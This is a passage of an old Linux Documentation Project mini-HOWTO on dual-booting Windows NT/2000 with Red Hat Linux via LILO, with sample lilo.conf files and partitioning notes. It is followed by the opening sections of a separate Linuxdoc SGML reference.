  • As it was said in Introduction, it might not be needed always to use such tools like Partition Magic. It is better to say that this tool is of a great value in all those cases you have been running Windows NT for a long time, so you don't want to start from 'scratch'. For example, you are fully satisfied with your beloved NT and related applications. You are not likely to kill NT, but you have recognized that you have enough unused space on NT's partition(s) (i.e. NT's partition(s) might look not much populated). That case, Partition Magic is your choice. But, if you do start from the beginning, or you don't mind re-formatting the disk, it might be suitable to get a blank floppy diskette, make it to be DOS bootable and copy two DOS tools on it: FDISK and FORMAT. So, restart your computer with such floppy and at A:\ prompt enter fdisk. There you'll find several options that allow re-partition of your hard disk(s). Now you could make a part of the disk a FAT partition (where you'll later install your beloved NT). The rest of space you'd better leave alone (i.e. do not attempt making Linux partition(s) right now, using DOS's version of FDISK). If you really want to make Linux-type partitions now, you should look after Linux version of FDISK.

  • So far so good. Next step is to install your Linux. Case you are familiar with RedHat distribution (I hope with other distros is the same or similar), you start by putting your installation CD in the drive and re-boot the computer). Well, when you are about to choose what type of installation it will be (Gnome or KDE Workstation, Custom, etc.) you may choose whatever you planned before, but I would suggest to install a Workstation at first. This is good because Linux setup will find automatically the free space on the (first) hard disk, make all partitions needed for Linux, format them properly, make majority of options by default so you won't have much pain during the setup (later, if you want, you may either add missing components or re-install RedHat Linux as Custom over the existing linux partitions). Lilo should go to the MBR.

  • Don't forget to make Linux boot floppy diskette. You'll never know when you may need it. If something goes wrong with the MBR, and you don't have boot floppy, your Linux might become not accessible, so you might have to re-install it again.

  • After it looks that Linux installation is finished, you are going to re-start the computer and there you will only see Lilo with only one entry to boot: Linux (or maybe more than one Linux entry, in case your hardware is multi-processor one or so). But, don't panic! Your Windows NT is still there - where you had installed it before Linux. You should become some familiar with Linux as soon as possible, in order to be able to find and edit your new /etc/lilo.conf file. When you open this file for the first time, you'll see that there is only one (or more) Linux entry. Well, you should know the exact position (read: a partition) where Windows NT has been installed, so you could add an appropriate entry into /etc/lilo.conf file. After you make those changes, restart Lilo with a command: /sbin/lilo and, after the next re-boot, you will have both 'linux' and 'nt' (or 'dos' or similar) entries under Lilo menu.

  • My added NT entry is:

          other=/dev/hda1
      label=nt

    So, the whole /etc/lilo.conf looks like this:

          boot=/dev/hda
      timeout=50
      prompt
          default=linux
          vga=normal
          read-only
      image=/boot/vmlinuz-2.2.12-20
          label=linux
          root=/dev/hda3
      other=/dev/hda1
          label=nt

  • Some more explanations regarding details from my /etc/lilo.conf file: After I have installed Windows NT, I assigned the letter C: to that drive. Beside that, I wanted to have another NTFS partition in order to store and backup important files, case I have to re-install NT on C: for some reason in the future. That's why I've made another NT partition, that has been assigned as D: disk. Both NTFS partitions are approximatelly 3 GB each and Linux setup found them as /dev/hda1 and /dev/hda2 partitions. The rest free space on the disk was cca 2 GB, where I have made the /root partition of near 1.9 GB and /swapp part of cca 100 MB (/dev/hda3 and /dev/hda4 respectively). Lilo went to the MBR and all has been running fine.

    For your information, I wanted to make these linux partitions that time. Later, I found that it was not needed, so now I let Linux setup to make partitions from the free space in a way it likes to do that. I trust it :-)

3.2 If you have more than one (SCSI) hard disk

Notice: Folks, you see, at my place, one of computers has several SCSI disks. That's why I put the word 'SCSI' in parentheses. There I have several SCSI controllers, SCSI CD ROM drive and SCSI Tape drive. So, it doesn't mean that *you* will be using SCSI parts at all. You'd rather handle more than one IDE disks, but I hope that install process shouldn't change too much, if any.

  • First of all, I would suggest you to install a fresh copy of Windows NT 4.0 on your first hard disk. I suppose that you already made a backup of your important data, so the NT installation shouldn't be a problem. You can easily copy your data on your second hard disk or so. During the NT installation, setup is not going to ask you where to place NT's boot loader, so it would be placed into the MBR (Master Boot Record) of your first hard disk. But, there is a possibility for a previous content of the MBR to remain within the MBR (especially any previous Lilo), so I would suggest you (before installation of NT) to boot the computer with a DOS floppy diskette having DOS version of FDISK. At the prompt a:\ just enter the command: fdisk /mbr and restart the computer again (without that floppy). If you want to be sure about your machine is 'clean', you may also delete any existing partition(s) on your other disks, during the Windows NT Setup in case you have *not* made any backup on other disks.

  • After you have successfully installed your NT, you will see that it uses the whole hard disk or a specific partition of the hard disk (depending on what you decided during the setup process). So, it is advisible to 'shrink' the partition where NT resides in order to make some free space on the disk. Onto that free space you will install your Linux. Well, you may also think of using other disk(s) you have for Linux (so did I). That case, you would start your linux installation and tried to use, for example, /dev/sdb (or sdc, or sdd, or else in case of SCSI system) or /dev/hdb (or hdc, or hdd, or else in case of IDE system). Looked that Linux installation accepted whatever I chose, but somehow after all was finished, when I did that, LILO was not able to do anything. Actually, it always stopped after 'LI' so it was not possible to start Linux at all. Finally, after pulling my hair out, I decided to make it all on the first disk. So, after I had NT configured and running, I had to boot my computer using a floppy diskette with Partition Magic utility by Power Quest. It is a graphical tool able to see all partitions on all hard disks you have. The best thing is that you can make some changes with your partitions but not to destroy your existing data. One of the available changes is to make your existing partition(s) smaller, so you can get some free space on the disk(s) for other purposes. Although you are advised to make a backup before you make any changes with your partitions, I usually practise to 'shrink' NT's partition before I install anything but NT itself (so, if needed, a repetitive re-installation wouldn't be a problem). Well, Partition Magic (or any other similar utility you are familiar with) will shrink your NT's partition (either NTFS or FAT) to a smaller measure and place it to either the beginning or to the end of the previous measure. It means that you may choose to have your 'shrinked' NT partition at the beginning or at the end of your disk. I usually choose NT to be at the beginning, so the ending part of the disk will become a 'free space'. I discovered some problems if the 'free space' is made at the beginning of disk (later we'll talk about). So, after the 'shrinkin' is finished, you may re-boot your NT in order to check the new situation: you may use Windows Explorer or Disk Administrator for that. You will also note how NT can 'see' all (other) disks you have in your machine (either partitioned or as 'free space' areas).

  • Once again, as it was said earlier, it might not be needed always to use such tools like Partition Magic. It is better to say that this tool is of a great value in all those cases you have been running Windows NT for a long time, so you don't want to start from 'scratch'. For example, you are fully satisfied with your beloved NT and related applications. You are not likely to kill NT, but you have recognized that you have enough unused space on NT's partition(s) (i.e. NT's partition(s) might look not much populated). That case, Partition Magic is your choice. But, if you do start from the beginning, or you don't mind re-formatting the disk(s), it might be suitable to get a blank floppy diskette, make it to be DOS bootable and copy two DOS tools on it: FDISK and FORMAT. So, restart your computer with such floppy and at A:\ prompt enter fdisk. There you'll find several options that allow re-partition of your hard disk(s). Now you could make a part of the disk a FAT partition (where you'll later install your beloved NT). The rest of space you'd better leave alone (i.e. do not attempt making Linux partition(s) right now, using DOS's version of FDISK). If you really want to make Linux-type partitions now, you should look after Linux version of FDISK.

  • So far so good. Next step is to install your Linux. Case you are familiar with RedHat distribution (I hope with other distros is the same or similar), you start by putting your installation CD in the drive and re-boot the computer). Well, when you are about to choose what type of installation it will be (Gnome or KDE Workstation, Custom, etc.) you may choose whatever you planned before, but I would suggest to install a Workstation at first. This is good because Linux setup will find automatically the free space on the first hard disk, make all partitions needed for Linux, format them properly, make majority of options by default so you won't have much pain during the setup (later, if you want, you may either add missing components or re-install Linux as Custom over the existing linux partitions). Lilo should go to the MBR of your first disk.

  • After it looks that Linux installation is finished, you are going to re-start the computer and there you will only see Lilo with one Linux entry to boot (or maybe more than one Linux entry, in case your hardware is multi-processor one). But, don't panic! Your Windows NT is still there where you had installed it before Linux. You should become some familiar with Linux as soon as possible, in order to be able to find and edit your new /etc/lilo.conf file. When you open this file for the first time, you'll see that there is only one (or more) Linux entry. Well, you should know the exact position (read: a partition) where Windows NT has been installed, so you could add an appropriate entry into /etc/lilo.conf file. After you do that, restart Lilo and, after the next re-boot, you will have both 'linux' and 'nt' entries under Lilo menu.

  • My added NT entry is:

          other=/dev/sda1
      label=nt

    So, the whole /etc/lilo.conf looks like this:

          boot=/dev/sda
      map=/boot/map
      install=/boot/boot.b
      prompt
      timeout=50
      default=linux
      image=/boot/vmlinuz-2.2.12-20smp
          label=linux-mp
          initrd=/boot/initrd-2.2.12-20smp.img
          read-only
          root=/dev/sda6
      image=/boot/vmlinuz-2.2.12-20
          label=linux-up
          initrd=/boot/initrd-2.2.12-20.img
          read-only
          root=/dev/sda6
      other=/dev/hda1
          label=nt

  • Some more explanation, regarding details from my /etc/lilo.conf file: After I have installed Windows NT on the first disk, I assigned the letter C: to that drive. After I made enough free space after the NTFS partition, I let Linux setup to handle further partitioning. Although Linux should support as far as four primary partitions per disk, it seems that Linux setup is likely to make an extended partition, whenever it recognizes that there is already a primary partition on the disk. Considering that those 'virtual' primary partitions would be numbered from /dev/sda1 to /dev/sda4 (including an extended one, of course), the extended one should become /dev/sda4. Following that idea, the first one logical partition within the extended one was numbered as /dev/sda5 (in my case, it was the /boot partition that physically was the first from the beginning of the first hard disk). So, the /root and /swapp partitions are /dev/sda6 and /dev/sda7 respectively. You may see a line "root=/dev/sda6" telling you that. Once again, Lilo went to the MBR and all has been running fine.

  • Well, you may ask me: Ok, but what in a case I have several hard disks installed in the machine? Good question. You see, I myself have four SCSI disks and, of course, I tried to install Linux on the 2nd one, next the 3rd and, finally, on the 4th disk. Whatever I did (Linux setup haven't complained at all), when I was about to finish the installation and after performing the final automatic re-boot, my Lilo would stop after 'LI' so the computer had to be re-started. Finally, I realized that there must be a problem with disks that are too "far" from the MBR that is located at the beginning of the first hard disk. That's why I suggest you to make them all (both NT and Linux) on your first disk. After having all of them running ok, there is no problem to make other disks visible (and usable) by both operating system. I hope your first disk is large enough to carry both operating systems (NT needs at least cca 150 MB for itself, Linux depends on what you want to get: Gnome or KDE Workstations are about 580 MB, but the Custom wants more than 1.4 GB). That means the first hard disk of cca 2.4 GB should fit.

  • You may also ask me: Ok, but, could I 'shrink' my NT partition in a way the 'free space' is made at the beginning of the disk? Well, I remember I tried to do so and to install, at first, Gnome Workstation (395 packages, 570 MB) there. During the setup, everything looked fine, but neither Lilo was not installed, nor the boot floppy was made. You bet, Linux was not functional. Then I tried to install KDE Workstation (377 packages, 582 MB) on the same place. Once again, everything looked fine, but neither Lilo was not installed, nor the boot floppy was made. Investigating that, I studied the structure of all existing partitions. I was surprised when recognized that new born logical partitions (within the new born extended one) were numbered as if they were physically positioned after the NT partition! In the other words, there I have got a 'funny' order: /dev/sda5, /dev/sda6, /dev/sda7 and, finally, /dev/sda1. Looked like the system was a bit confused. So I considered that it is advisible to make the 'free space' after already existing NT partition(s).

  • Regarding two similar Linux images (differ in 'smp'). It is a server hardware with a multi-processor support. The "inteligent" setup has inspected the hardware and offered me to have both 'multi' and 'uni' processor functionality. Nevertheless, I still have only one CPU there.


Linux+WindowsNT mini-HOWTO: HOW TO UPGRADE WINDOWS NT TO WINDOWS 2000

 Next Previous Contents

4. HOW TO UPGRADE WINDOWS NT TO WINDOWS 2000

Well, actually, it isn't a real "upgrade" of running NT to 2000, but a "fresh" installation of Windows 2000 Professional. I hope it should also work for other Windows 2000 products. I haven't tried its server-type installations yet, but I remember I haven't experienced any problem with NT, regarding it was Server or Workstation.

  • First of all, a backup of important data should be made! I do it by having another Windows-like partition on the disk, where I copy/move my texts, drawings etc. That partition is not going to be handled during the installation. After the backup is made, it's the right time to install Windows 2000.

  • You see, folks, whenever I (re)install a Windows NT product, I like to see it on a clean partition. It means, I remove i.e. delete the existing partition where NT "system" files were stored, in order to get free ('unused') space. Then I chose to make a new partition that will be formatted as NTFS type of file system. After that, I opt to install Win2000 onto the new partition.

  • The procedure of Windows 2000 Setup will remove LILO from the MBR, so a couple of next re-bootings during the installation won't show LILO prompt.

  • When the Win2000 installation is finished, you may re-install your favourite applications and restore your data from the backup. You should then check if everything goes fine with your new and old Windoze stuff :-)

  • So far - so good. Now you have to look after your Linux boot floppy diskette. If you can't find it, you are out of luck. Actually, I am not sure if all Linux systems might be now activated without boot diskette. Some Linux gurus suggest to boot Linux from the installation CD, but I don't know if it can help in case your system doesn't have bootable CDROM drive, i.e. a modern motherboard's BIOS. Any comment here?

  • Well, after you successfully boot your Linux, you should go to /etc/lilo.conf to check it once again. You should have there at least two options: Linux and NT. Case you don't see the option to boot your beloved Windoze, you have to add it. It was described in previous sections. Then you have to run /sbin/lilo in order to put LILO boot loader into the MBR.

  • That's all. Next time you boot your computer, you'll get your LILO prompt. Using <Tab> key you'll see your boot options.

  • From my experience - all work great! Although I removed previous WinNT installation in order to make new Win2000 installation and also lost (temporarily) LILO boot loader, at the end I got both of them, Win2000 and Linux, the same way as I did with WinNT and Linux!


Linux+WindowsNT mini-HOWTO: HOW TO INSTALL WINDOWS 2000 BESIDE LINUX AND WINDOWS 98

 Next Previous Contents

5. HOW TO INSTALL WINDOWS 2000 BESIDE LINUX AND WINDOWS 98

Notice: When I say 'beside Linux and Windows 98', I mean of Linux and Windows 98 that already work together, so they were installed earlier, before we made a decission to add Windows 2000. One of the machines I use at work, has both Linux and Win98. They both load from under LILO menu.

Actually, it is not a very big problem to install Windows 2000 on a computer where another Windows is running. In my case, it is Windows 98 so I just put 2000's CD into the drive. After it recognized that an 'older' version of Windows was running on my machine, it offered me either to upgrade it to 2000 or to install W2k as the 'clean' installation. At first, I tried to upgrade my Windows 98 to W2k, in order to get a very similar combination that I have at home (described in previous chapter). But, some hardware and software compatibility issues were reported (I mean, some of my components wouldn't stay fully operational if I just did an upgrade).

When saw that, I considered to try the 'fresh' installation of W2k, beside Win98 and Linux. Happily, I recently installed another HD into the box, so I did not need to handle the first disk, where Win98 and Linux were living. Actually, the main reason to add the second disk was that the first one got almost full. If I wanted to install the third operating system on the first disk, I'd have to clean it well. So, when W2k's Setup asked for the location to be installed, I told it to use the second disk, repartition it and format it as the NTFS file system (just to mention that my Win98 was FAT32 and Linux was ext2).

After an hour or so, W2k's installation was finished. During the setup procedure, it re-started the system a couple of times. When it was about to do that for the first time, I was curious if it would re-write the MBR, where LILO resides (actually, in the previous chapter, I have mentioned that W2k's installation was likely to re-write the MBR). Interestingly, it did not do that this time, so I continued to see 'LILO boot:' on the screen. But, a *new* thing has appeared after LILO: the Windows 2000 boot loader, that in turn offered not only to load W2k but a 'Windows' (ie. my old Win98) too.

Well, depending on which operating system I like to start, the procedure might slightly differ, but it is easy. No problem at all. For example:

  • If I like to load my Linux, then LILO boot is the "cross-road". At this point, the 'linux' entry should either be chosen or set as default in /etc/lilo.conf;
  • If I like to load Windows, then the other entry under LILO boot should either be chosen or set to be default. After it is done, Windows 2000 boot loader should appear on the screen. On that point, I have two choices: W2k and W98. The rest is easy, both Windozes start from there happily.


Linux+WindowsNT mini-HOWTO: HOW TO INSTALL WINDOWS NT/2000 AND LINUX ON A LAPTOP

 Next Previous Contents

6. HOW TO INSTALL WINDOWS NT/2000 AND LINUX ON A LAPTOP

6.1 If you want to have *both* NT and 2000, beside Linux

Notice: Recently my bosses decided to get a couple of HP Omnibook 6000 portables, so I quickly rushed to play with new toys. It was a series with Pentium 3 at 1 GHz and 128 MB of RAM. There's also a hard disk of 30 GB, removable DVD and FDD drives, a secondary battery that goes to the removable drive bay (when it's empty) and NIC/modem combo card.

  • Well, the notebooks have come with Windows 2000 Professional preinstalled and I thought it might be great to reformat the disk and start from scratch. I think I did it again with Partition Magic utility by Power Quest. Actually, I have *erased* all existing partitions because I noticed a small one at the beginning of the disk, that looked to me a bit strange (well, I learned later that it was there for hibernation and/or diagnostics).

  • After that, I tried to repeat a procedure that I have always been very fond of: to make a couple of FAT partitions (cca 2037 MB) where my NT and/or W2k would go. Don't ask me why I use that old FAT format - it is just to be sure that any type of Windows setup will recognize such a partition and, as well, to be sure that some file exchange (if needed) would be possible between various operating systems. Beside these FAT partitions (that start, of course, from the beginning of the disk), I have also made several FAT partitions but, this time, starting from the *end* of the disk. Partition Magic allowes a user to do that (<-- here the guys from Power Quest should send me a couple of 0.01$ for this commercial of their product :-)).

    Well, you may ask me why somebody should make a free space somewhere in between. The answer is: In order to allow Linux's /boot partition to stay under well known 1024 cylinder limitation. When it comes to 1024 cyl area (actually, when you enter 1025, 1026 ... etc), it doesn't matter what is happening there. It means, there you may put your Linux / (root) partition (regardless of its size and structure), as well as to use remaining space for Windows/Linux exchange zone (i.e. FAT).

  • So far - so good. So, I put NT's installation disk and followed the procedure (you should be aware to use a "retail" NT installation disk, *not* the one that came with Omnibook 6000, because it is supposed to "restore" an NT installation, accompanied with a hibernation partition. Why such a partition seems not to be suitable here, we'll see later.

  • After Windows NT was installed completely, it was the right time to insert Windows 2000 installation CD (once again, do not use 2000's disks that have come with the computer). So, from within NT running, I have installed 2000 onto the next partition (actually, only the first part of the installation process starts from under NT, but it is ok). When the process has finished, you have two Windozes - on your first two partitions.

  • Everything seems to be running ok, excepting the diagnostics. It should be activated with F10 at system boot if "restore" CD's were used. Btw, NT's "restoration" finishes with even bigger partition (cca 500 MB). And not only that: this partition seems to be a *primary* one. That means, you may end up with a shortage of primary partitions, in case you intend to install several operating systems. Anyway, I have decided that the diagnostics is not too much important to me, so there's no use of F10 at system boot anymore :-)

  • Not to forget to say, the Windows 2000's boot loader should offer *both* NT and 2000 boot options, if you have followed the mentioned procedure (case you don't want to have *both* NT and W2k on the system, you may skip to the next section).

  • Well, that is the time when I usually look after a Linux installation CD's. The first one (in case of two) should be inserted into the DVD (or in a CD drive) and the system has to be re-booted. As usual, after a second or two after switching the system on, Escape should be pressed one or two times, in order to change the "boot" device order (of course, a CD/DVD should be chosen here).

  • The rest of Linux installation is just as usual. Don't forget to make a Linux boot floppy at the end of the process (you never know when the boot floppy might be of help).

  • Folks, in short, that was that. If everything goes fine, the next system boot should take you into the Linux environment. Don't be surprized when you don't see your beloved Windoze(s) boot loader(s) anymore. You just have to look into the another great Linux document, called LILO mini-HOWTO. There you'll find more detailed information about how LILO (Linux Loader) works.

  • If you find it easier, read some pages before and check how it was accomplished in the chapter "HOW TO UPGRADE WINDOWS NT TO WINDOWS 2000"

6.2 If you want to have only Windows 2000 and Linux

Notice: Well, all I have said in the previous section, resulted in a "multiboot" (or, better to say, "3-boot") system. When I want to run Linux - I have to choose its option from within LILO menu. When I am about to run any kind of Windoze - I have to choose Windows (or DOS, or whatever else) from within LILO menu. Soon after, on the screen appears Windows 2000 boot loader. Finally, from this point, either NT or 2000 may be booted. Well, for a next task, I wanted to install Symantec's Norton System Works onto both Microsoft environments. I did it successfully, but it seems that I have later entered a command that resulted in changing something very important in the setup. In sum, I have become not able to run both flavours of Windows properly. Looks that it was the right time to re-install all stuff :-)

  • Folks, this time I decided to use one of those "restore" CD's, that came with the notebook. I must admit that I liked to see, as the background, a great blue logo "HP Invent", as well as "Manufactured by Hewlett Packard" in My Computer's Properties (<-- here the guys from HP should send me a couple of 0.01$ for this commercial :-))

  • Using the "restore" CD's might help you to avoid the whole long NT/2000's setup procedure(s), because they replicate or, if you like to say, "clone" images from the CD's to the hard disk, and it is very fast. In addition, the hibernation/diagnostics partition is being made by default. Finally, a couple of HP utils and tools can only be "restored" from these CD's.

  • So, after a 6-7 minutes, NT (or W2k) is in its place, ready to work. Similarly to "retail" versions (mentioned in the previous section), now it is the right time to boot the system with a Linux installation CD.

  • The rest of Linux installation is just as usual. Don't forget to make a Linux boot floppy at the end of the process (you never know when that boot floppy might be useful).

  • Folks, that was that - in short. If everything is fine, the next system boot should take you into the Linux environment. Don't be surprized when you don't see your beloved Windoze(s) boot loader(s) anymore. You just have to look into the another great Linux document, called LILO mini-HOWTO. There you'll find more detailed information about how LILO (Linux Loader) works.

  • If you find it easier, read some pages before and see how it was done in the chapter "HOW TO UPGRADE WINDOWS NT TO WINDOWS 2000"

  • You bet, the life would be much easier if there were not such troubles, like a "tolerance" between Windows and Linux world. Maybe I have made an another mistake somewhere in the cyberspace, but, as soon as I have finished with that Linux installation - RedHat 7.1 in particular (today is May 04, 2002 and I still have no newer and better distros here. Any donation from the readership ...?), I recognized that F10 at the system boot, does not open the HP diagnostics anymore. Actually, regardless of pressing F10, my Omnibook 6000 goes directly to the graphical LILO screen. *Before* installing Linux, diagnostics was running here without any problem.

  • FYI, after the first next boot into W2k, its Disk Management tool has recognized the following partitions on the disk:

            Size Format Label Type
    1 15 MB FAT - Primary
    2 7.30 GB FAT32 HPNOTEBOOK C: Primary
    3 52 MB - - Primary
    4 18.37 GB - - Logical
    5 258 MB - - Logical
    6 1.96 GB Free space - -

  • On the other hand, Partition Magic "sees" as follows:

            Size in MB Format Label Type
    1 | 14.7 | FAT | save to disk | Primary
    2 | 7.471,4 | FAT32 | HPNOTEBOOK | Primary
    3 | 51.7 | ext2 | /boot | Primary
    4 21.077,9 extended - Primary
    5 18.811,4 ext2 / Logical
    6 258,4 swap - Logical
    7 2.008,1 free space - Logical

  • Some more explanations, related to the tables above: It is obvious that diagnostics partition, accompanied with "restored" Windows 2000, is rather small - cca 15 MB (comparing to the partition, that is created with "restored" Windows NT, which goes up to cca 500 MB). Regardless of that fact, it is a primary one. That means you should be aware of how many primary partitions you have in the system. I am not sure now, but that might be one of the reasons for not having diagnostic tools available anymore, after completing all operating system installations.

    Next, you may see that I have "shrinked" W2k's FAT32 partition to a smaller size (cca 7.5 gig), in order to release enough free space for Linux.

    I would suggest you to let Linux setup procedure to transform the free space into Linux partitions. I mean, there's no need to prepare the Linux partitions manually. As you can see from the tables, it took cca 50 megs for the boot part, cca twice a physical RAM (2 x 128 = 256 megs) for swap and the rest goes for other Linux parts. Remaining free space was probably left after the conversions of various file format systems.

  • What is the result now: Linux works, Windows works too. There's no diagnostics anymore. The hibernation (from under Windows) is not tested yet. At the first sight, the 3Com NIC/modem combo is not fully supported under Linux. Actually, NIC seems to work, but the modem part is a "winmodem". Nobody knows if HP would do something to solve that issue. All I could say is to avoid HP Omnibook 6000 if modem activities are your primary tasks. Of course, you may spend some $$$ and buy another PCI mini-card with supported modem chip. Beside that, HP's 15" screen gives you great picture with the resolution of up to 1400 x 1050 at 16 bit colors. Interestingly, that resolution seems to be default under Windows 2000 and it is also easily adopted under Linux (RedHat 7.1). There is also somewhat "over-sensible" touchpad that often acts as the left mouse click. It seems to be a common feature for both Windows and Linux installations. It bothers me sometimes, but your mileage may vary.

  • The plan is to convert the FAT32 partition to the NTFS in order to get more reliable Windows subsystem. On the other side, Linux main (root) partition should be "shrinked" in order to get some free space. That free space will be used later for exchanging files between these two operating systems (probably it will be also FAT).


Linux+WindowsNT mini-HOWTO: FURTHER INFORMATION

 Next Previous Contents

7. FURTHER INFORMATION

7.1 Copyright

Copyright (c) 2002 by Miroslav "Misko" Skoric.

Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.1 or any later version published by the Free Software Foundation; with no Invariant Sections, with no Front-Cover Texts, and with no Back-Cover Texts. A copy of the license is available from http://www.fsf.org/licenses/fdl.html.

7.2 Disclaimer

Use the information in this document at your own risk. I disavow any potential liability for the contents of this document. Use of the concepts, examples, and/or other content of this document is entirely at your own risk.

All copyrights are owned by their owners, unless specifically noted otherwise. Use of a term in this document should not be regarded as affecting the validity of any trademark or service mark.

Naming of particular products or brands should not be seen as endorsements.

You are strongly recommended to take a backup of your system before major installation and backups at regular intervals.

7.3 News

This is not the first release of this mini-HOWTO. I hope to improve it whenever possible. Beside that, there are other documents that may help you to install more than one operating system on the same computer. You may look for them at the same location where you get Linux+WindowsNT mini-HOWTO.

This mini-HOWTO would be improved from time to time. If you think that the HOWTO on your Linux installation CD is some out-of-date, you may check for newest release on the Internet. It could be found within the main Linux Documentation Project homepage.

7.4 Credits

This version of Linux+WinNT mini-HOWTO is based on:

The Linux+WindowsNT mini-HOWTO
by Bill Wohler, wohler@newt.com
v1.1, 19 February 1997

Any comments or suggestions can be mailed to my email address: m.skoric@eunet.yu.

7.5 HOWTO

These are intended as the primary starting points to get the background information as well as show you how to solve a specific problem. Some relevant HOWTOs are Bootdisk, Installation, SCSI and UMSDOS. The main site for these is the LDP archive at Metalab (formerly known as Sunsite).

7.6 Mini-HOWTO

These are the smaller free text relatives to the HOWTOs. Some relevant mini-HOWTOs are Backup-With-MSDOS, Diskless, LILO, Large Disk, Linux+DOS+Win95+OS2, Linux+OS2+DOS, Linux+Win95, Linux+WindowsNT, Linux+NT-Loader, NFS-Root, Win95+Win+Linux, ZIP Drive, FBB packet-radio BBS. You can find these at the same place as the HOWTOs, usually in a sub directory called mini. Note that these are scheduled to be converted into SGML and become proper HOWTOs in the near future.

7.7 Local Resources

In most distributions of Linux there is a document directory installed, have a look in the /usr/doc directory. where most packages store their main documentation and README files etc. Also you will here find the HOWTO archive ( /usr/doc/HOWTO) of ready formatted HOWTOs and also the mini-HOWTO archive ( /usr/doc/HOWTO/mini) of plain text documents.

Many of the configuration files mentioned earlier can be found in the /etc directory. In particular you will want to work with the /etc/fstab file that sets up the mounting of partitions and possibly also /etc/mdtab file that is used for the md system to set up RAID.

The kernel source in /usr/src/linux is, of course, the ultimate documentation. In other words, use the source, Luke. It should also be pointed out that the kernel comes not only with source code which is even commented (well, partially at least) but also an informative documentation directory. If you are about to ask any questions about the kernel you should read this first, it will save you and many others a lot of time and possibly embarrassment.

Also have a look in your system log file ( /var/log/messages) to see what is going on and in particular how the booting went if too much scrolled off your screen. Using tail -f /var/log/messages in a separate window or screen will give you a continuous update of what is going on in your system.

You can also take advantage of the /proc file system that is a window into the inner workings of your system. Use cat rather than more to view the files as they are reported as being zero length. Reports are that less works well here.

7.8 Web Pages

There is a huge number of informative web pages out there and by their very nature they change quickly so don't be too surprised if these links become quickly outdated.

A good starting point is of course the Linux Documentation Project home page, an information central for documentation, project pages and much, much more.

Please let me know if you have any other leads that can be of interest.


Linux+WindowsNT mini-HOWTO: GETTING HELP

 Next Previous Contents

8. GETTING HELP

In the end you might find yourself unable to solve your problems and need help from someone else. The most efficient way is either to ask someone local or in your nearest Linux user group, search the web for the nearest one.

Another possibility is to ask on Usenet News in one of the many, many newsgroups available. The problem is that these have such a high volume and noise (called low signal-to-noise ratio) that your question can easily fall through unanswered.

No matter where you ask it is important to ask well or you will not be taken seriously. Saying just my disk does not work is not going to help you and instead the noise level is increased even further and if you are lucky someone will ask you to clarify.

Instead describe your problems in some detail that will enable people to help you. The problem could lie somewhere you did not expect. Therefore you are advised to list up the following information on your system:

Hardware

  • Processor
  • DMA
  • IRQ
  • Chip set (LX, BX etc)
  • Bus (ISA, VESA, PCI etc)
  • Expansion cards used (Disk controllers, video, IO etc)

Software

  • BIOS (On motherboard and possibly SCSI host adapters)
  • LILO, if used
  • Linux kernel version as well as possible modifications and patches
  • Kernel parameters, if any
  • Software that shows the error (with version number or date)

Peripherals

  • Type of disk drives with manufacturer name, version and type
  • Other relevant peripherals connected to the same busses

Remember that booting text is logged to /var/log/messages which can answer most of the questions above. Obviously if the drives fail you might not be able to get the log saved to disk but you can at least scroll back up the screen using the SHIFT and PAGE UP keys. It may also be useful to include part of this in your request for help but do not go overboard, keep it brief as a complete log file dumped to Usenet News is more than a little annoying.


Linuxdoc Reference

A introduction to the linuxdoc dtd

Uwe Böhme, <uwe@hof.baynet.de>

v1.1, 30 January 2000

This article is intended to be a reference for the SGML document type definition linuxdoc, which is coming along with the SGML text formatting system version 1.0. It should also be applicable to future versions which may be found at My Homepage.

1. Making of

  • 1.1 Legal stuff
  • 1.2 Genesis

2. Introduction

3. A minimalistic document

  • 3.1 Step By Step
  • 3.2 A Startup Document

4. Document Classes

  • 4.1 Article Tag
  • 4.2 Report Tag
  • 4.3 Book Tag
  • 4.4 Letter Tag
  • 4.5 Telefax Tag
  • 4.6 Slides Tag
  • 4.7 Note Tag
  • 4.8 Manual Page Tag

5. Inlines

6. Sectioning

7. Paragraphs

  • 7.1 Normal Paragraph
  • 7.2 List-like Paragraphs
  • 7.3 Figures and Tables
  • 7.4 Tabular Tag
  • 7.5 Mathematical Paragraph
  • 7.6 Theorem Paragraph
  • 7.7 Code and verbatim Paragraphs

8. Inline Tags

  • 8.1 Emphasizes
  • 8.2 Short-quote Tag
  • 8.3 Formula Tag
  • 8.4 External Tag

9. Mathematical Formulas

  • 9.1 Fraction Tag
  • 9.2 Product, Integral and Summation Tag
  • 9.3 Limited Tag
  • 9.4 Array Tag
  • 9.5 Root Tag
  • 9.6 Figure Tag
  • 9.7 Realfont Tag
  • 9.8 Other Mathematical Tags

10. Labels and References

  • 10.1 Label Tag
  • 10.2 Reference Tag
  • 10.3 Page reference Tag
  • 10.4 Url Tag
  • 10.5 Htmlurl Tag
  • 10.6 Cite Tag
  • 10.7 Ncite Tag

11. Indices

  • 11.1 Including a index

12. Literate Programming

13. Reference

Appendix

14. Named Symbols

  • 14.1 Named Characters
  • 14.2 Named Whitespaces

15. Mathematical Figures

16. Linuxdoc dtd Source


Linuxdoc Reference: Making of

 Next Previous Contents

1. Making of

1.1 Legal stuff

Copyright © 1997-2000 by Uwe Böhme. This document may be distributed under the terms set forth in the Linux Documentation Project License at LDP. Please contact the authors if you are unable to get the license. This is free documentation. It is distributed in the hope that it will be useful, but without any warranty; without even the implied warranty of merchantability or fitness for a particular purpose.

This document is not part of ldp (even if I took their form of license). I'm not yet playing in that league.

1.2 Genesis

This document was born trying to learn more about writing texts on my linux system. The one system looking like suitable to my needs was sgml-tools SGML-Tools Organsation an the linuxdoc dtd.

In [SGML-Tools User's Guide 1.0 ($Revision: 1.1.1.1 $)] (see section Reference) the overall structure is described nice and easy. Also [Quick SGML Example, v1.0] (see section Reference) was helpful, but:

A lot of features are not mentioned.

On the way to learn more about it, I met [The qwertz Document Type Definition] (see section Reference). It's as detailed as hoped, but it's not made for the linuxdoc dtd (even if linuxdoc is based on qwertz).

I tried a new approach: Look at the dtd

dtd = document type definition
file itself, and try to understand it.

As time went by I noticed that I also forgot about some stuff, or - at least - didn't point it out strong enough. This will change within the next revision.

Any feedback you might have is welcome (especially help with English spelling or grammar) by e-mail at Uwe Böhme.


Linuxdoc Reference: Introduction

 Next Previous Contents

2. Introduction

The principle of any sgml'ed document (linuxdoc, docbook, html) is more or less the same:

Don't write how it should look like, but write what it is.

This is a different approach than the standard "wysiwyg"

What you see is what you (should) get (if you are a very lucky one and your computer wins the war against buggy software)
one
You might want to call it wysiwym, i.e. "What you see is what you mean"
